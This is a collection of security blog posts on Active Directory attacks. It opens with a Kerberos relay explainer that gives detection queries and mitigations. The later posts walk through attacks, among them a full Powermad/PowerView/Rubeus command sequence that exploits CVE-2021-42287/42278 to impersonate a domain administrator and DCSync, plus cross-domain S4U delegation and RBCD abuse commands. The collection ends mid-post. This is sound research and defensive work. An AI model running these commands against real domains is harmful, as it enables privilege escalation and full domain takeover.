During this blog post we will take a look into Kerberos Relay, break out the different attack paths one could take, and talk about the different defensive opportunities tied to this activity and other activities leading up to Kerberos Relay or after.

Kerberos Relay Explained

Kerberos relaying was described in detail in James Forshaws blog post β€œUsing Kerberos for Authentication Relay Attacks”. The primary focus of Kerberos relaying is to intercept an AP-REQ and relay it to the service specified within the service principal name (SPN) used to request the service ticket (ST). The biggest discovery within James’ research is that using certain protocols a victim client can be coerced to authenticate to an attacker using Kerberos while allowing an SPN to be specified that differs from the service that the client is connecting to. This means that the client will request a ST for an SPN of the attacker’s choosing, create an AP-REQ containing that ST and send it to the attacker. The attacker can then forward this AP-REQ to the target service, disregard the resulting AP-REP (unless the attacker needs to relay this back to the client for some reason) and at this point establish an authenticated session as the victim client.

While there are other potential ways Kerberos relaying can happen, (ie. like man-in-the-middle (MITM) attacks), the primary focus of this post will be on coercing a client to authenticate to the attacker as the method of receiving the AP-REQ. The process is essentially as follows:

Attacker coerces victim client auth with target service SPN -> client requests ST to SPN specified -> client sends AP-REQ to attacker -> attacker extracts AP-REQ sends to target service -> attacker establishes session as victim client

There are some caveat’s to this process. The first being protections enabled on the target service. As with NTLM relaying, if the target service has signing/sealing or channel binding enforced, relaying Kerberos authentication will not work. The second caveat is the protections supported by the client. With some target protocols, if the client indicates support for certain protections, the server will enable those protections, again making Kerberos relaying not possible without some other bug in the implementation.

Potential Attack Paths with Kerberos Relay

There are several potential attack paths that Kerberos relaying allows for. Many of these were documented by James in his initial blog post. As alluded to previously, there are 2 main considerations when discussing Kerberos relaying attack paths:

  1. The protocol used to trigger the authentication from the victim client
  2. The protocol used by the service the authentication is being relayed to

Trigger Protocol

As discussed, the main requirement for the trigger protocol is the ability for the attacker to specify an arbitrary SPN, or at least a partially attacker controlled SPN, when triggering the authentication. Protocols known to potentially have this requirement are:

  • IPSec and AuthIP
  • MSRPC
  • DCOM
  • HTTP
  • LLMNR
  • MDNS

Service Protocol

Depending on the protections enabled on the server, the following protocols are known to be target service protocols for Kerberos relaying:

  • LDAP/LDAPS
  • HTTP
  • SMB

Potentially many combinations of these protocols could be used as attack paths for Kerberos relaying. This presents many attack paths, for instance, relaying to an LDAP server could allow for modification of LDAP objects or relaying to an AD CS HTTP web enrolment endpoint could allow for requesting an authentication certificate.

Detecting Kerberos Relay

Before diving straight into detections, queries, and indicators of activity for these behaviors we think it is important to touch on what we are looking at for detection and why. It is fairly easy to take a tool that performs some behavior then immediately go look at the logs to see what telemetry exists. This isn’t a terrible approach, it just isn’t the only one and not the one we take.

We (Charlie, Andrew, and Jonny) like to approach this detection piece a little differently by breaking up a tool’s capability, understanding what it is trying to accomplish, understanding the technologies tied to an attack and their capabilities, and identifying what actions (if any) apply to other techniques. We then like to find the core behavior the attack is built on and identify what pieces of that action is or can be controlled by an attacker. This process helps us identify which behaviors are explicitly tied to the attack and which might relate to an action that was performed prior to the attack or after. One thing we don’t want to do is create detection explicitly tied to the tool, but to the attack. We are using the tool as a starting point of understanding the attack and the various variants an attacker may take to accomplish these actions.

That being said, every attack will have a pre, intra, and post action. These actions are extracted during the research process and help us scope what capabilities we are trying to detect. Let us explain.

In order for an attack to be run, an attacker must do something that gives them the ability to perform that action. This could be a number of things, let’s use the following as an example of pre-action activity:

  • Gain access to a domain user
  • Compromise/obtain a foothold on a box
  • Run a LDAP query for reconnaissance
  • Escalate to a local administrator/High IL

You then have the actual attack (intra-action):

  • Kerberoast
  • Dump LSASS
  • Access Token Impersonation

Finally, the attacker is going to do something with whatever output the attack gives them β€” being the post-action:

  • Logs on as user
  • Impersonates user

Here is a visual representation of this:

This allows us to apply a detection layering approach when creating detections for these behaviors because there is going to be something within the pre-action that we can relate to the intra-action, and similarly the intra-action to the post-action. Due to this we can change the diagram up a little bit:

As you can probably tell by now, every post-action leads into a pre-action. It restarts the attack flow. We see this below with Kerberos Relay. One potential post-action is to perform S4U2Self/S4U2Proxy. Kerberos Relay has now become a pre-action to this activity and a post-action could be that an attacker is using that ability to login, talk to the SCM to create a service and run a process as SYSTEM.

If we just run the attack and look directly at the logs it is easy to start making assumptions. So before we run the attack we can break out what we are looking for, then go look for it. This allows us to truly understand what layer we are applying a detection, which inherently will help us understand what level of coverage we have.

We can now apply this to Kerberos Relay in the next section.

Detection Queries

Some of the attacks within the pre/intra/post actions were applied due to how KrbRelayUp was exploiting this activity. The attacker doesn’t always have to take these exact paths and some of the specifics may change, for example β€” below we show a detection for the COM server initialization/TCP connection. An attacker could use a different protocol like HTTP/LDAP. Although we didn’t create queries for each one of these scenarios we wanted to share the different pre/intra/post-action detections someone could create.

Pre-Kerberos Relay Detections:

  • Initial domain user foothold (No detection added as there are so many options)
  • LDAP queries to identify potential SPNs available
  • Computer account added via LDAP (Using Microsoft Defender for Endpoint DeviceEvents)
1
2
3
4
5
DeviceEvents
| where ActionType contains β€œLdapSearch” and (InitiatingProcessParentFileName !has (β€œservices.exe”) or InitiatingProcessAccountName !in (β€œlocal service”, β€œsystem”))
| extend SearchFilter= extractjson(β€œ$.SearchFilter”, AdditionalFields)
| where SearchFilter contains β€œsAMAccountName” and SearchFilter contains β€œ$”
| summarize count() by Timestamp, InitiatingProcessAccountName,InitiatingProcessParentFileName, InitiatingProcessFileName, SearchFilter, InitiatingProcessCommandLine, AdditionalFields, InitiatingProcessLogonId

Note: This query was created via MDE and will look for when a computer account is created via LDAP, for this attack this is totally optional. To perform this specific attack path, the attacker only requires the credentials of any computer object or a user object with an SPN. There are many other ways to potentially obtain one.

  • Computer Account added via Splunk and Window Security Event ID 4741:
1
index=windows sourcetype=Security EventCode=4741 AND SAM_Account_Name = β€œ*$”

Going a step further would be to correlate the 4741 with Windows Security Event ID 4673. As Andrew wrote in his post the event details in 4673 contain the four (4) SPN’s that are also created when a computer account is created with certain attack tools (in their present state as of writing this post). Kevin Robertson first blogged about the 4 SPN’s being generated in his post, β€œMachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory’s Oddest Settings.” Many publicly available Open Source Tools (OSTs) incorporate the same 4 SPNs into their tooling.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
index=windows (EventCode=4741 MSADChangedAttributes=*(*HOST/*) AND *(*RestrictedKrbHost/*) New_UAC_Value=0x80) OR (EventCode=4673 Privileges=SeMachineAccountPrivilege) 
| eventstats values(Process_Name),values(Privileges),values(EventCode) as EventCode by Logon_ID 
| search EventCode=4741
| rex field=_raw β€œ(Message=(?<Message>[a-zA-z ].*))” 
| eval datetime=strftime(_time, β€œ%m-%d-%Y %H:%M:%S.%Q”) 
| stats count values(datetime),values(Process_Name),values(Privileges),values(EventCode),values(MSADChangedAttributes),values(Message),values(Account_Domain),values(Security_ID),values(SAM_Account_Name),values(DNS_Host_Name) by Logon_ID 
| search count >=2 
| rename values(*) as * 
| eval Effecting_Account=mvindex(Security_ID,1) 
| eval New_Computer_Account_Name=mvindex(Security_ID,0) 
| table datetime,Account_Domain,Effecting_Account,Logon_ID,New_Computer_Account_Name,DNS_Host_Name,Message,MSADChangedAttributes,Process_Name,Privileges,EventCode

Intra-Kerberos Relay Detections:

  • DCOM Server connection with TCP connection to localhost (Using Splunk and Window Security Event ID 5156):
1
index=windows sourcetype=Security EventCode=5156 Direction=Inbound AND Source_Address=::1 AND Destination_Address=::1 AND Process_ID !=4 AND Protocol=6

Post-Kerberos Relay Detections:

  • RBCD Exploitation (Using Splunk and Window Security Event ID 5136/4768/4769)
1
2
3
4
5
6
7
8
index=windows sourcetype=”Security” ((EventCode=5136 AND β€œmsDS-AllowedToActOnBehalfOfOtherIdentity”) AND (Type=”Value Added” OR Type=”Value Deleted”)) OR EventCode=4768 OR EventCode=4769 
| eval alt_type=mvindex(Type,2) 
| eval datetime=strftime(_time, β€œ%m-%d-%Y %H:%M:%S.%Q”) 
| bucket _time span=11m
| stats dc(EventCode) as eventcodes,values(EventCode),values(datetime),values(LDAP_Display_Name),values(host),values(Account_Domain),values(Client_Address),values(Service_Name),values(Service_ID),values(Ticket_Options),values(Class),values(Ticket_Encryption_Type),values(alt_type) by _time 
| rename values(*) as *
| where eventcodes >=3
| table _time,datetime,host,Account_Domain,Client_Address,Service_Name,Service_ID,Ticket_Options,Ticket_Encryption_Type,Class,LDAP_Display_Name,alt_type,EventCode,eventcodes

It should be noted that this detection query has limitations given its use of bucket _time span. We employed the use of this time feature as there was not an easy way (i.e. by Logon ID) to correlate the three events. The only common variable we discovered between these three different events observed was time, specifically all within a 15 second window. While this query worked in our lab with our specific dataset, we would like to point out that by grouping the events by time in a bucket, events can possibly occur outside the span of the bucket as we don’t know WHEN the event will take place. As such the event could occur in the middle of the bucket or it could be on the β€œedge.” A thank you to Greg Rivas for helping create the above SPL query.

During the writing of this post the author of KrbRelayUp added support for Shadow Credentials, which performs slightly different post-actions than we have specified above. However; it is good to note that Shadow Credentials is still a post-action potential attack that can be leveraged.

Mitigations

  1. Limit MAQ attribute and/or restrict the SeMachineAccountPrivilege to a specific group rather than Authenticated Users
  2. Extended Protection for Authentication (EPA)/Protocol Signing/Sealing and Channel Binding
  3. Disabling mDNS/LLMNR
  4. Require authenticated IPsec/IKEv2
  5. Disabling Disable NTLM

A thank you to James Forshaw for vocalizing some of these mitigations when introducing this attack.

Conclusion

During this write-up we wanted to give a brief explanation of Kerberos Relay, how this can be exploited, and the various levels of detection/prevention that could be applied. Although we didn’t go over every pre/post-exploitation scenario an attacker could take, we wanted to highlight the importance of thinking about attacks from a pre/intra/post-action perspective. This helps us identify the scope of our detections, which will then allow us to identify at what depth we are applying the detection.

We hope this was helpful and a huge thank you to James Forshaw again for his previous work on this.

References

  • https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
  • https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
  • https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
  • https://github.com/Dec0ne/KrbRelayUp
  • https://github.com/cube0x0/KrbRelay

More sAMAccountName Impersonation

By: 0xe7
11 December 2021 at 19:08

So in my excitement to put out the previous post I forgot something and since then I've thought of another attack path that may come in useful for some people.

For these examples I'm using the internal.user account in the internal.zeroday.lab domain, as shown below:

This is just a generic low privileged user.

Trusts

I did reply to my tweet afterwards, but I thought it'd be best to explain a little more that this works across trusts.

As mentioned in a previous post I did, creating machine accounts across trusts is not only possible but can be incredibly useful. This is another example of that.

A forest trust is configured between the internal.zeroday.lab and external.zeroday.lab forests:

A new machine account (named NewComputer) is created across this trust on the external.zeroday.lab domain:

The SPNs can be cleared from this newly created account:

It's best to get the distinguishedname of the machine account for changing the name:

Lastly, the name can be changed to the same as the domain controller minus the '$':

At this point the attack is exactly the same as the initial example I gave in the original post, ie. request a TGT for EDC1, rename machine account back, perform S4U2self.

User Account

Another example of exploitation involved user account control. 2 more prerequisites are required to perform the attack using a user account, The GenericAll privilege over the user account and access to the account credential. Any user account can be used to perform the attack.

There are several potential ways of obtaining the user account password when you have GenericAll over it, including tageted Kerberoasting from Will Schroeder, Shadow Credentials by Elad Shamir, just resetting the user password and probably more I'm forgetting right now. Point is, I'm not going to go into all of the potential ways you might do this, I'm just going to assume the password has been obtained.

So the user I'm running as (internal.user) has GenericAll over the target user (new.user):

Changing the samaccountname to that of the DC minus the '$' is also possible using PowerView:

The attack from this point is exactly the same as in the original post, I'm not going to duplicate all of that here, you can try it for yourself if you want. Interestingly on patched servers you can rename a user account this way with GenericAll over it, but the S4U2self part fails with KDC_ERR_TGT_REVOKED error due to the new Requestor PAC_INFO_BUFFER being included within the TGT's PAC.

EDIT: Charlie BROMBERG suggested GenericAll isn't actually required and this works with GenericWrite or even WriteProperty on sAMAccountName for changing the samaccountname, but it is important to remember that the ability to request a TGT for this account is required too, so the higher the privileges, the more likely you are to be able to do this.

Conclusion

It is very important that all domain controllers throughout the whole enterprise is patched against these issues due to the impact of exploitation and the ease with which it can be performed.

While more limited, it may still be possible in situations where a machine account cannot be created/controlled or renaming of machine account fails.

CVE-2021-42287/CVE-2021-42278 Weaponisation

By: 0xe7
9 December 2021 at 23:13

So on 9th November 2021, Cliff Fisher tweeted about a bunch of CVE's to do with Active Directory that caught a lot of people's eyes. These included CVE-2021-42278, CVE-2021-42291, CVE-2021-42287 and CVE-2021-42282. The one that caught my eye the most was CVE-2021-42287 as it related to PAC confusion and impersonation of domain controllers, also having just worked on PAC forging with Rubeus 2.0.

This post discusses my quest to figure out how to exploit this issue and some things I discovered along the way.

I just want to highlight that there's no new research here, this issue was discovered by Andrew Bartlett of Catalyst IT. I just found one way to weaponise it, there may well be others in the issues he found.

A Little Digging

So immediately upon seeing Cliff's tweet, Ceri Coburn and I started tryng to figure out how this could be exploited. We (perhaps incorrectly) latched onto the text on Microsofts description of CVE-2021-42287 which seemed to be based around the idea of TGT's being issued without PACs. This led me to modify Rubeus to allow for requesting TGT's without a PAC.

After Ceri debugging the Windows KDC and us digging through the leaked XP source we were convinced that to trigger the codepath we needed to go down (to insert a PAC into a ST when it was requested with a TGT lacking a PAC) required a cross domain S4U2self but was unable to get it to work. The only way we could get a DC to add a PAC when an service ticket (ST) was requested using a TGT without a PAC was by configuring altSecurityIdentities.

This process involves modifying the altSecurityIdentities attribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain] to impersonate that user.

So below you can see a low privileged user (internal.user) of the local doamin (internal.zeroday.lab) has GenericAll over a high privileged user (external.admin) of a different domain (external.zeroday.lab):

As this user we can add ourselves to the altSecurityIdentities attribute as shown below:

Now we can get a TGT from our local DC and request it without a PAC using the new /nopac switch:

This results in an obviously small TGT. We then use that TGT to request a referral to the target domain (external.zeroday.lab) from our local DC:

That referral can then be used to request ST's for services on our target domain (external.zeroday.lab). Here I'm requesting a ST for LDAP/EDC1.external.zeroday.lab the DC's LDAP service:

The size of the ST is very large compared to the previous 2 tickets, this is because (as we'll see) a PAC has been added. As shown in the klist output below, this ST is for the original user internal.user which has no special privileges on either domain:

Using this ST, however, we can DCSync:

So what happened here is the DC has searched for the account in the local database, it hasn't found it so it's then searched to see if any accounts have this account listed in their AltSecurityIdentities attribute, which external.admin does because we added it earlier, and if so, the DC adds a PAC belonging to that account. This can be verified using Rubeus' describe command and the AES256 key we just DCsync'd:

We now effectly have the privileges of the external.admin user on the external.zeroday.lab domain.

This didn't help us exploiting the issue we wanted but I did find it interesting.

Some Progress

Then along came this tweet from ClΓ©ment Notin which actually mentioned the Samba information regarding these issues and led me to CVE-2020-25719 and this patch. What particularly caught my attention was this paragraph:

Delegated administrators with the right to create other user or machine accounts can abuse the race between the time of ticket issue and the time of presentation (back to the AD DC) to impersonate a different account, including a highly privileged account.

Suddenly I realised that to make the local lookup fail, we didn't need to attack a foreign domain but perhaps remove the account after retrieving the TGT.

I started playing with naming a machine account the same as the local DC (minus the $), requesting a TGT (still without a PAC), removing the machine account and using that TGT. I noticed something funny.

When using this PAC-less TGT with a U2U request but without supplying an additional ticket, it was failing to decrypt the resulting ST:

The U2U ST should be encrypted with the session of within the provided TGT but as I didn't provide an additional ticket I assumed it was triyng to lookup the account based on the sname which I was setting to IDC1 the samaccountname of my now missing machine account. I had the idea to try decrypting this ST using the long term key of the domain controller that I was naming my machine account after (IDC1$):

It worked! It sucessfuly decrypted the ST, it just couldn't find the PAC because there wasn't one there. I tried the same thing using S4U2self and got the same result, the DC was looking for my IDC1 account, not finding it and then search for the same but adding a $ on the end, finding the domain controller account and encrypting the ticket using it's key instead.

At that time I still couldn't figure out why it wasn't adding the PAC, so I decided to try requesting the initial TGT with a PAC instead of without a PAC and surprisingly it worked! So apparently there was no need to request a TGT without a PAC, supplying a TGT with a PAC for an account that has the samaccountname of the DC minus the $ to a request for an S4U2self ticket, when the intial account no longer exists, results in the ST being encrypted using the key of the DC.

The sname of that resulting ST can be modified as per Alberto Solino's post here. So it can be used to authenticate against any service on the target box, even users protected from delegation, as Elad Shamir mentions in the Solving a Sensitive Problem section of Wagging the Dog.

The last thing to work out was how can we get a machine account in this state from a low privileged user, as until now I was manually modifying the machine account as an admin. Thankfully Kevin Robertson's amazing post on the Macine Account Quota helped massively. It explains that the creator of the machine account has control over various attributes including the samAccountName and ServicePrincipalName. Another problem I was running into was trying to change the samaccountname, as trying to change it to be the same as the DC minus the $, I was getting the following error:

As Kevin mentions in his post:

If you modify the samAccountName, DnsHostname, or msDS-AdditionalDnsHostName attributes, the SPN list will automatically update with the new values.

So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.

Lastly, until now I was removing the machine account after requesting the TGT (which requires admin privileges), I had to test whether disabling it or renaming it worked too. Disabling it resulted in a S_PRINCIPAL_UNKNOWN error being returned by the DC when requesting the S4U2self but renaming it worked.

Finally all of the pieces were in place.

Checking If Exploitable

To exploit this requires 3 things, at least 1 DC not patched with either KB5008380 or KB5008602, any valid domain user account and a Machine Account Quota (MAQ) above 0.

To determine if a DC is patched is very easy. Using my additional /nopac switch to Rubeus' asktgt, request a TGT without a PAC, if the DC is vulnerable it'll look like the following:

Look at the size of the returned TGT. If the DC is not vulnerable the TGT will look as follows:

The size difference is immediately obvious. The next thing to check would be the MAQ:

By default it is 10 as above but can be changed, anything above 0 will do. Lastly we need to check the SeMachineAccountPrivilege which is granted to Authenticated Users by default:

If everything checks out, we can exploit this issue.

The Full Attack

The first step is to create a machine account we can use for the attack (The account I create is called TestSPN$). Kevin's Powermad works nicely for this:

After this, PowerView's Set-DomainObject can be used to clear the SPNs from the machine account:

Changing the machine account's samaccountname can be done using Powermad's Set-MachineAccountAttribute (Here I'm changing it to IDC1, because the DC's samaccountname is IDC1$):

Rubeus' asktgt can be leveraged to request a TGT for that newly created machine account (This is just a normal TGT for the machine we just created but using it's new samaccontname):

Set-MachineAccountAttribute can again be used to change the machine accounts samaccountname (either back to what it was or something else entirely, it doesn't matter):

With the machine account renamed, it is now possible to request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC's key, at the same time we can rewrite the sname within the ticket to be the LDAP service:

Here, I've impersonated the Administrator user for the LDAP service on the DC. It's worth noting that this could be any user on any service on any system on the domain.

The ticket has been sucessfully injected into LSA as shown below:

Using that ticket it is now possible to DCSync:

The commands I run to do this are shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Create Machine Account
New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose

# Clear SPNs
Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose

# Request TGT
.\Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

# Request S4U2self
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT]

Mitigation / Detection

The best way to mitigate against this is to install the Microsoft patch (KB5008602), this patch fixes the issue with PAC confusion as well as fixes this issue with S4U2self created by the earlier KB5008380 patch.

Setting the Machine Account Quota to 0 is a quick and easy fix for stopping low privileged user from being able to create machine accounts, another related fix is to remove Authenticated Users from the SeMachineAccountPrivilege and adding Domain Admins or another group of allowed accounts.

There are several Events caused by various steps which would be useful for determining attempts to perform this attack. The credit for determining these Events should go entirely to Andrew Schwartz, I simply sent my logs to him after I performed the attack.

Machine Account Creation

Firstly, there is a 5156 event of an inbound connection to LDAP to create the machine account, For this event ID Andrew leveraged the research of β€œA Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers” By: Jonathan Johnson:

Immediately followed by a 4673 event, which is the usage of the SeMachineAccountPrivilege:

As well as a 4741 event, describing the creation of the machine account:

And a 4724 event, regarding the password reset of the newly create machine account:

Clearing The SPNs

Next a 4742 event can be seen when the SPNs are removed from the machine account, this will show for the Service Principal Names field, as shown below:

Changing the SamAccountName

A 4742 event will also show when the SAM Account Name is changed, and the new name will be shown in the SAM Account Name field:

More interestingly, a 4781 event will show both the old account name and the new account name:

Get TGT

When retrieving the TGT, a 4768 event will show, interestingly the Account Name field will show the new name of the account, while the User ID field will show the old name:

Then the account name change happens again with the 2 events mentioned above.

S4U2self

Lastly, as Elad mentions in his Wagging the Dog post, event 4769 fires, this time, however, some discrepancy is shown between Account Name and Service Name, while the Service Name field has the proper machine account name, the Account Name is missing the trailing dollar ($):

Conclusion

With the November 9th updates, many changes were made to AD and I wouldn't be surprised if many other avenues existed using those issues but the one I use directly from a low privileged user to full domain takeover with a default configuration.

Ensuring all DC's are fully patched should be the main priority here as it will only take 1 unpatched DC for domain takeover to be possible.

On top of patching, proper AD hardening with decent monitoring will always minimise the impact of any compromise significantly.

Another Delegation Edge Case

By: 0xe7
17 May 2021 at 16:43

While coding the cross domain S4U into Rubeus I only really considered the situation where the user that was to be impersonated was in the target/foreign domain, but not if the user was in the source/local domain. After looking at how the process of requesting delegation worked when impersonating a user on the local domain, I decided to write this post detailing how it works and when it might be useful.

The information in this post is reasonably complex and I won't be going over previous work on how S4U works, the best places to see this is probably the Microsoft Documentation and Elad Shamir's post. It might also be helpful to check out my original post on cross domain S4U if you haven't already.

So let's get to it.

The Standard Process

I've created a diagram for showing how these tickets are requested when the OS performs this type of delegation:

This can understandably look a little intimidating, so let's break it down:

  1. The service account gets its standard TGT from the local DC, this is nothing interesting and included for the sake of completion. (1 and 2)

  2. The account connects to the service accounts SPN using a standard service ticket, which is forwardable. (3)

  3. The service account uses its TGT to request a referral TGT from the local DC for the foreign domain where the end service resides (krbtgt/Domain2). (4 and 5)

  4. The service account uses its TGT, with the standard service ticket (provided by the connecting account) as an additional ticket, to request a service ticket for the end service SPN from the local DC. This results in what I'm calling a delegated referral TGT for the foreign domain being issued by the local DC. (6 and 7)

  5. The service account uses its referral TGT to request a service ticket for itself for the end service from the foreign DC. (8 and 9)

  6. The service account finally requests the delegated service ticket for the end service as the connecting user account from the foreign DC using the service accounts referral TGT and the delegated referral TGT (obtained in step 4 in this list or 6 and 7 in the image) as an additional ticket. (10 and 11)

From this we can determine that the main thing that is required to impersonate a local account on a service on a foreign domain is a forwardable service ticket from that account.

With this in mind, I decided to try to find a scenario this might be useful in.

The Situation

The following diagram shows the relevant part of the lab setup for this demonstration:

The position we are currently in is we have compromised the low privileged user child.user in the child domain child1.internal.zeroday.lab.

For the sake of simplicity, this user has an SPN set:

There are many ways to obtain an account with an SPN, including creating a machine account, compromising an account with an SPN, adding an SPN to an account you have Write privileges on. The other important thing here is that the user child.user has GenericWrite privileges on the machine account ISQL1 on the parent domain (internal.zeroday.lab):

The last thing to note here is the machine account quota for the parent domain (internal.zeroday.lab) is set to 0:

So there's no creating machine accounts to hop across the trust, as I demonstrated in a previous blog post.

Gaining Access to ISQL1

Due to having GenericWrite privileges on ISQL1 it is possible to configure resource-based constrained delegation (RBCD) to allow ourselves the ability to delegate to it:

At this point child1.internal.zeroday.lab\child.user can delegate to internal.zeroday.lab\ISQL1$.

The first thing we might try is to delegate to an administrative user on the foreign domain (internal.zeroday.lab), internal.admin is a member of the Domain Admins group so might be a good option. Using the Rubeus additions I did here I can try the following command to impersonate internal.admin:

1
Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:idc1.internal.zeroday.lab /msdsspn:CIFS/ISQL1.internal.zeroday.lab /nowrap

This results in a KDC_ERR_BADOPTION error, as shown below:

We can see the reason for this by looking at the S4U2Self ticket returned by the local DC (IC1DC1.child1.internal.zeroday.lab) with Rubeus' describe command:

This ticket does not have the forwardable flag set, meaning it can't be used to perform the S4U2Proxy extension. Looking at the user internal.admin we can see that it is protected from delegation:

So the question becomes, what can we do if all users in the foreign domain with the desired privileges on the target system are protected from delegation? Well, there are several potential attack paths but the one we're going to focus on here is impersonating a user in the local domain that has administrative privileges on the target system. Again for simplicity sake, I've just added a user (child1.internal.zeroday.lab\sql.admin) to the local Administrators group on ISQL1:

With what we know about the process of obtaining a service ticket for child1.internal.zeroday.lab\sql.admin to internal.zeroday.lab\ISQL1, all we require is a forwardable service ticket to our account (child1.internal.zeroday.lab\child.user). Using a trick Elad mentions in the A Forwardable Result section of his Wagging the Dog post, all service tickets produced by S4U2Proxy is always forwardable.

This means that providing the user sql.admin can be delegated (shown below), we can obtain a forwardable service ticket using RBCD.

So configuring RBCD on ourselves (child.user) so we can delegate to ourselves:

The following Rubeus command was used to retrieve a forwardable service ticket as the user sql.admin for the SPN blah/foobar (just a junk one for demonstration purposes) which belongs to the account child.user:

1
Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:sql.admin /msdsspn:blah/foobar /nowrap

Using Rubeus' describe command shows that this ticket is forwardable:

Now everything is in place to gain access to the remote system ISQL1. The following requests is the process in full described earlier to obtain the desired delegated service ticket for CIFS/ISQL1.internal.zeroday.lab as the user child1.internal.zeroday.lab, with any requests not required omitted. Each request, except gaining the TGT initially, are made manually using the asktgs Rubeus command.

Firstly the TGT for the service account (child.user) is required:

We already have the forwardable service ticket to child.user, so we don't need to worry about that. Next we have to obtain a referral TGT as the service account (child.user) for the foreign domain (internal.zeroday.lab), for this we only require the TGT just obtained. We can use the following command for that:

1
Rubeus.exe asktgs /service:krbtgt/internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /nowrap /ticket:doIFq...(snip)...

The last thing we require from the local DC is the delegated referral TGT, to get this I made another PR to Rubeus which allows for including additional tickets when using asktgs by providing the /tgs:X argument. Using the following command and including the primary TGT for the service account (child.user) as the /ticket:X argument and the forwardable service ticket as the /tgs:X argument, it is possible to request this delegated referral TGT:

1
Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:ic1dc1.child1.internal.zeroday.lab /ticket:doIFqjCCB...(snip)... /tgs:doIGPDCCB...(snip)...

We can skip requesting a service ticket for the end service using only the referral TGT for child.user as we won't be using that ticket. The last thing we need to do it request the final service ticket for CIFS/ISQL1.internal.zeroday.lab from the DC for the domain internal.zeroday.lab (IDC1.internal.zeroday.lab), this is the ticket we can use to impersonate sql.admin on the target service. To do this we use a similar command to the one we just run, except instead of the TGT and fowardable service ticket, we use the referral TGT and delegated referral TGT, and instead of the local DC we request it from the foreign DC, you also have to pass Rubeus the /usesvcdomain switch because cross-domain stuff is hard:

1
Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:idc1.internal.zeroday.lab /usesvcdomain /ticket:doIFpjCCB...(snip)... /tgs:doIHJjCCB...(snip)...

And finally we get the service ticket we're after:

Using this ticket gives as access to the CIFS service on the target ISQL1:

Conclusion

While this attack path is probably not normally required, due to other easier attack paths being likely possible, it does show that unsual edge cases exist that could allow for privilege escalation within a domain or even across domain trusts. Defenders should therefore ensure that they are fully aware of the configuration of their whole enterprise and the implications any of those configurations could have on the security of the infrastructure as a whole.

PowerView - A New Hope

By: 0xe7
10 November 2020 at 23:56

I'd been wanting to add some features to PowerView for a while, it's arguably the tool I use most on infrastructure assessments, and when @harmj0y officially discontinued PowerSploit I decided to fork it and start adding them.

For anyone that doesn't know, PowerView is an amazing tool written in PowerShell that can be used for playing with Active Directory and particually performing recon of Active Directory.

This post is about some new features I've added to it. My forked version can be found here.

RBCD Support

Until now dealing with RBCD (or the msds-allowedtoactonbehalfofotheridentity attribute) using PowerView was a manual process. Using Security.AccessControl.RawSecurityDescriptor with an security descriptor definition language (SDDL) string as an argument and manually converting it, as documented here and here.

I wanted to automate this so I created the Get-DomainRBCD and Set-DomainRBCD functions.

Get-DomainRBCD

Get-DomainRBCD by default finds all accounts, user and computer, that have the msds-allowedtoactonbehalfofotheridentity. It returns a custom PS object where the SID's have been resolved if possible. If identities are specified then only the RBCD configuration of those identities are returned:

It also tells you whether the account (either source account or account that's been granted delegation rights) is a user or machine account. This is useful to know because only 1 type of account can be configured on the msds-allowedtoactonbehalfofotheridentity security descriptor at once. So either all computer accounts or all user accounts, but a mixture of the 2.

Set-DomainRBCD

To compliment Get-DomainRBCD, I created Set-DomainRBCD, which can be used to configured RBCD on an account.

The Identity parameter is the account(s) where RBCD is to be configured, it can be done on multiple accounts at once and works the same way as in the other PowerView functions, like Get-DomainUser. The DelegateFrom parameter is a pipe ('|') delimited list of identities to delegate access to. The argument to DelegateFrom can be any format also supported by the Identity parameter:

Configuring RBCD the same as in the previous screenshot can be done like this:

Here, I configure RBCD on the computer account ISQL1 and delegate access to ISQL1 and ISQL2. This results in the same configured shown previously:

Finally, it is possible to easily remove this configuration using the -Clear switch to Set-DomainRBCD:

This makes dealing with RBCD using only PowerView much easier.

Ownership

A small addition to the Get-DomainUser function in PowerView was the -Owner switch. With this switch it return 2 extra object members, OwnerSID and OwnerName:

As shown here, the owner of the testsd user has the SID of S-1-5-21-2042794111-3163024120-2630140754-512 and the SamAccountName of Domain Admins. This is important for the next section.

Security Descriptors

While coding Set-DomainRBCD I realised that the msds-allowedtoactonbehalfofotheridentity attribute is just a security descriptor (SD) and it reminded me of a conversation I had in the BloodHound slack regarding the AdminCount attribute.

